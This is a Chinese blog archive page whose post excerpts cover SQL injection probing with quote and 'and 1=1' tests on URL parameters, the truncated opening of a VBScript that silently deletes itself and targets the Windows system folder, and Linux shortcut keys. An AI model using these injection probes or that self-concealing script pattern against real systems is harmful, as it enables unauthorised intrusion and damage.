06 2018 档案

摘要:从网页传入参数注入 这是SQL注入中最常见的方法,并且根据该注入原理有跟多SQL注入工具 同样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。 如果没有检测,直接运行SQL语句,说明有机会注入。 从参数注入,简单的测试方法是: ① http://www. 阅读全文
posted @ 2018-06-21 15:05 97z 阅读(143) 评论(0) 推荐(0)
摘要:On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)Do 阅读全文
posted @ 2018-06-16 22:35 97z 阅读(1118) 评论(1) 推荐(0)
摘要:Linux命令行编辑常用的快捷键 Linux命令行编辑快捷键: history 显示命令历史列表 ↑(Ctrl+p) 显示上一条命令 ↓(Ctrl+n) 显示下一条命令 !num 执行命令历史列表的第num条命令 !! 执行上一条命令 !?string? 执行含有string字符串的最新命令 Ctr 阅读全文
posted @ 2018-06-14 13:50 97z 阅读(1271) 评论(1) 推荐(0)
摘要:Hello everyone,I'm 97z. 阅读全文
posted @ 2018-06-08 14:00 97z 阅读(101) 评论(1) 推荐(0)